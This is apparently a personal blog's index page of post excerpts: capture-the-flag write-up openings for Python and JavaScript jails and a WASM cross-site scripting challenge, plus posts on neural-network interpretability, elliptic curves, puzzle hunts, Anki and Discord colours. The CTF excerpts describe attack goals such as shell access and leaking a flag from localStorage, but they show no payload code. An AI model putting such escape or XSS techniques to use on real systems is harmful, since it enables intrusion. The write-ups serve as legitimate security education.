Kevin Higgs

ångstromCTF 2022 (210 points)

Now that kmh is gone, clam’s been going through pickle withdrawal. To help him cope, he wrote his own pickle pyjail. It’s nothing like kmh’s, but maybe it’s enough.

Language jails are rapidly becoming one of my CTF areas of expertise. Not sure how I feel about that.

pickle is a Python object serialization format. As the docs page loudly proclaims, it is not secure. Roughly the simplest possible code to pop a shell (adapted from David Hamann, who constructs a more realistic RCE) looks like:

CaaSio PSE

ångstromCTF 2022 (250 points)

It’s clam’s newest javascript Calculator-as-a-Service: the CaaSio Please Stop Edition! no but actually please stop I hate jsjails js isn’t a good language stop putting one in every ctf I don’t want to look at another jsjail because if I do I might vomit from how much I hate js and js quirks aren’t even cool or funny or quirky they’re just painful because why would you design a language like this ahhhhhhhhhhhhhhhhhhhhh

It’s just a JavaScript eval jail.

Interpreting Some Toy Neural Networks

I participated in the AGI Safety Fundamentals program recently. The program concludes with a flexible final project, with the default suggestion of “a piece of writing, roughly the length and scope of a typical blog post”, so naturally, I deleted all but the last two words and here we are.

When I previously considered machine learning as a field of study, I came away with an impression that most effort and computation power was going into training bigger, more powerful models; whereas the inner workings of the models themselves, not to mention questions like why certain architectures or design choices work better than others, remained inscrutable and understudied. This impression always bothered me, and it definitely influenced me away from going into AI as a career. Of course, there are important, objective safety concerns around developing and designing models we don’t understand, many of which we discussed in the program; but my discomfort is mostly a completely unrelated nagging feeling I get whenever I’m relying on things I don’t understand.

After the program and all the concurrent developments in AI (including AlphaCode, OpenAI’s math olympiad solver1, SayCan, and, of course, DALL-E 2), I still had this impression about the field at a very high level, but I also became more familiar with the subfield of interpretability — designs and tools that allow us to understand and explain decisions by ML systems, rather than treating them as black-boxed mappings from inputs to outputs — and confirmed that enough people study it to make it a thing. One quote from a post on the views of Chris Olah, noted interpretability researcher, captured my feeling particularly eloquently:

interpretability is very aligned with traditional scientific virtues—which can be quite motivating for many people—even if it isn’t very aligned with the present paradigm of machine learning.

I found the whole post insightful, and it happens that the bits before that in the passage were also relevant to me. I don’t have access to lots of compute!

Inspired by that post and by a desire to actually write some code (which I figured might help me understand the inner workings of modern ML systems in a different sense), and after abandoning a few other project ideas that were far too ambitious, I decided to go through some parts of the fast.ai tutorial and riff on it to see how much progress I could make interpreting the models, and to write up the process in a blog post. I tried to capture my experience holistically, bugs and all, to serve as a data point for what it might feel like to start ML engineering (for the rare individuals with a background and inclinations just like mine2), and maybe entertain more experienced practitioners or influence their future tutorial recommendations. A much lower-priority goal was trying to produce “my version of the tutorial”, which would draw more liberally from an undergraduate math education3 and dive more deeply into technical details.

TI-1337 Silver Edition

DiceCTF 2022 (Misc, 299 pts)

Last weekend Galhacktic Trendsetters sort of spontaneously decided to do DiceCTF 2022, months or years after most of us had done another CTF. It was a lot of fun and we placed 6th!

Back in the day the silver edition was the top of the line Texas Instruments calculator, but now the security is looking a little obsolete. Can you break it?

It’s yet another Python jail. We input a string and, after it makes it through a gauntlet of checks and processing, it gets exec’d.

More precisely, the gauntlet does the following:


DiceCTF 2022 (Web, 140 pts)

Last weekend Galhacktic Trendsetters sort of spontaneously decided to do DiceCTF 2022, months or years after most of us had done another CTF. It was a lot of fun and we placed 6th!

I made a blazing fast MoCkInG CaSe converter!


We’re presented with a website that converts text to AlTeRnAtInG CaSe. The core converter is written in WASM, and also checks that its input doesn’t have any of the characters <>&". The JavaScript wrapper takes an input from the URL, converts it to uppercase, feeds it to the converter, and if the check passes, injects the output into an innerHTML. The goal is to compose a URL that, when visited by an admin bot, leaks the flag from localStorage.

The converter is compiled from this C code:

2022 MIT Mystery Hunt

Sixth year hunting with ✈✈✈ Galactic Trendsetters ✈✈✈! As last year’s writing team (previously: 2020, 2019, 2018, 2017, 2016, writing with Random in 2015) we had one final responsibility: running the traditional How to Hunt workshop shortly before this year’s hunt. I didn’t play a huge role in that, but I lurked and reminded myself some things about how new puzzlehunters think about puzzles, and I wrote Yet Another Puzzlehunt Spreadsheet Tutorial after casting around and being not entirely satisfied with the puzzlehunting spreadsheet tutorials I found. I think I actually understand ARRAYFORMULA now.

And then, before we knew it, it was Hunt again.

It’s really nice to get to solve Mystery Hunt again, and especially nice to do so on a team that was fairly actively trying not to win. GT generally tried not to add too many members this year, with some affiliated folks splitting off or hunting with other teams. During the hunt itself, we avoided backsolving puzzles that people were enjoying forward-solving, and encouraged people to be more confident before guessing answers. We ended up with a >50% guess accuracy1, much higher than some of our past participations, and at least for the puzzles I participated in that took more than a few incorrect answers, I think they were all reasonable guesses or honest mistakes (VALLICELLIANA is difficult to spell) rather than attempts at short-circuiting.

Personally, I did the hunt as part of a roughly 10-person west coast contingent who met up in real life (and who all tested negative for COVID shortly before or after arrival). I think I got roughly three times as much sleep as I did during the 2020 hunt, when we won, and I felt freer to hop onto puzzles that were greatly oversaturated with solvers, such as A Number of Games and How to Install a Handle, or to try less hard looking for extraction steps after doing the fun meat of a puzzle. I think a lot of team members took a similar approach; based on our solve log, we solved no metas between 3am and noon (ET) on either day, and generally had much starker dead zones of activity in the mornings than in past years.

...And They Don't Stop Coming

It’s another year, huh.

2021 is the first year during which I held a full-time job continuously. My disposable income and discretionary spending have both increased the most sharply since, well, ever. It’s weird.

We are still in a pandemic. Greek letters continue to be associated with uncool things. I got vaccinated and started taking measured (but still small) risks. Funny story: my first vaccination was a complete surprise, as my roommate knocked on my door mid-day to inform me that somebody he knew had extra vaccines to give out — except that the night before I had a dream about being vaccinated, which was weird enough that I wrote that dream down, something I do only once every few months. I also got boosted just a few days ago.

What else happened to me in 2021?

Just Enough Elliptic Curves to Be Dangerous

A famous Trail of Bits post says to stop using RSA: it’s simple enough to make people think they can implement it correctly, but full of invisible traps. In contrast, although elliptic curve cryptography (ECC) implementations could also fall into subtle traps, they usually don’t. The post conjectures that this is because ECC intimidates people into using cryptographically sound libraries instead of implementing their own.

If you do want to understand ECC just enough to produce your own trap-ridden implementation, though, this post aims to get you there. (Assuming some mathematical background chosen in a not particularly principled way, approximately what I had before writing this post.) Hence the title. Because I have a cryptographic conscience, I will still point out the traps I know of; but there are probably traps I don’t know about.

This post contains a lot of handwaving and straight-up giving up on proofs. You don’t need to know the proofs to be dangerous. The ethos is sort of like Napkin, but way shoddier and with zero pretense of pedagogical soundness. Still, here are some concrete questions that I learned the answer to while writing this post:

  • Why does the group law hold, sort of intuitively?
  • Why do people have to modify Curve25519 before using it to compute digital signatures?
  • What is a “quadratic twist” and why should I care about it to pick a secure elliptic curve?
  • How is it possible that an isogeny can be described as surjective but not injective while mapping a finite elliptic curve to another elliptic curve of the same cardinality?
  • How many claws does an alligator have?

Elliptic curves have a lot of complicated algebra. If you ever studied algebra in high school and did exercises where you had to simplify or factor or graph some really complicated algebraic expression, and you learned that algebra is also the name of a field in higher mathematics, you might have assumed that working algebraists just dealt with even more complicated expressions. If you then studied algebra in college, you’d probably have realized that that’s not really what algebra is about at all; the difficulty comes from new abstractions, like a bunch of the terms above.

Well… the study of elliptic curves involves a bunch of complicated expressions like what your high school self might have imagined. Sometimes, notes will just explode into a trainwreck of terms like

\[\begin{align*}\psi_1 &= 1 \\ \psi_2 &= 2y \\ \psi_3 &= 3x^4 + 6Ax^2 + 12Bx - A^2 \\ \psi_4 &= 4y(x^6 + 5Ax^4 + 20Bx^3 - 5A^2x^2 - 4ABx - A^3 - 8B^2).\end{align*}\]

“This is REAL Math, done by REAL Mathematicians,” one is tempted to quip. The Explicit-Formulas Database is a fun place to take a gander through. I will copy formulas into this post from time to time when there’s something about them I want to call attention to, but in general we won’t do any complicated algebraic manipulations in this post. Just be prepared.

Because I’m focusing on conceptual understanding (and am lazy), this post contains almost no code, and definitely no code that’s runnable in any real programming language.

One Weird Anki Trick

Imagine you had a button you could press whenever you saw or heard something you wanted to remember. By holding that button down for about a minute, you’ll be able to remember that thing forever. There are no undesirable side effects. Sounds like a pretty good deal, right?

There’s only one catch: you have to regularly find new things to press the button on. If you stop for more than a few days, the effects wear off. If you ask me, it still seems almost too good to be true! But it’s not. It’s the magic of spaced repetition.1

I had known about this magic for a long time and read blog posts from all directions telling me to use it, typically but not necessarily through Anki. Examples include Nicky Case’s interactive guide and Alexey Guzey’s guide; and because this has been so well-covered, I won’t go into how or why spaced repetition works or how one would use Anki in this post. Still, for a long time, I found the one “catch” to be of the -22 variety: I didn’t use Anki regularly because I didn’t have any flash cards of things I wanted to remember; but I didn’t make any flash cards of things I wanted to remember because, given that I didn’t use Anki regularly, making those flash cards wouldn’t actually help me remember those things.

Here is the One Weird Anki Trick that got me to finally turn spaced repetition into a habit: I created an Anki deck with a bunch of amusing but utterly useless cards,2 in order to make studying the Anki deck an entertaining activity I actually wanted to do. (Getting the mobile app and syncing my deck online also helped a lot.) Only after I started to habitually check my Anki deck did I start adding cards for the things I actually wanted to learn. I keep everything in one deck,3 so that my fun cards are spread out among my “work” cards, and when I find myself losing motivation, I add more useless entertainment cards.

That’s it. That’s the whole post.

What Color Should My Discord Roles/Reactions Be?

I subscribed to Discord Nitro a month ago, but only recently did I start thinking about the full range of powers the subscription granted me. I could create my own reactions, dump them in my personal server, and use them to react anywhere.

However, when I finally started trying to create some reactions, I hit an interesting snag: Discord can be used in dark and light mode,1 and a reaction will have the same color on both modes. If I wanted my reaction to be as clearly readable in both modes as possible, what color should I make it?

(I could, of course, just outline my reaction with a contrasting color, but let’s say that’s cheating. With the limited space in a reaction, outlining isn’t that great of a solution anyway.)

Now, one can’t really just compute the “contrast of two colors” given only their RGB components; there’s no universally agreed-on definition of contrast in vision, and even if there were one, the contrast of two given colors would depend on the color space and possibly the viewer’s biology. But, to get a concrete answer to this question, we can use the standard sRGB model and the W3C’s definitions of contrast ratio and relative luminance.2 As of time of writing on my computer,3 Discord reactions have background #2f3136 on dark mode and #f2f3f5 on light mode. Reactions you’ve reacted with have background #3b405a on dark mode and #e7e9fd on light mode. Because the dark mode background gets lighter and the light mode background gets darker, we’ll use the latter colors so we’re optimizing the worst-case contrast.

There are smarter approaches, but the 2563 = 16,777,216 possible 8-bit colors are perfectly feasible to brute force, so I wrote a short Python script to check all of them, which is at the bottom of this post. Under the parameters I’ve outlined, the optimal color for a Discord reaction is rgb(255, 65, 3) or #ff4103. A demo:

#ff4103 #ff4103
CR: 2.90738237
#ff4103 #ff4103
CR: 2.90738217

That was simple enough, but this color’s worst-case contrast ratio is less than 0.0000002 better than the runner-up. Surely even very mild aesthetic considerations will outweigh that. (It’s highly doubtful that the formulae I used were intended to have this degree of precision in the first place.)

After playing with a few ways to get a spread of options, I settled on categorizing colors into six buckets of saturation and twelve buckets of hue in the simple HSV model, and then finding the optimal color within each bucket. Here is a table of my results: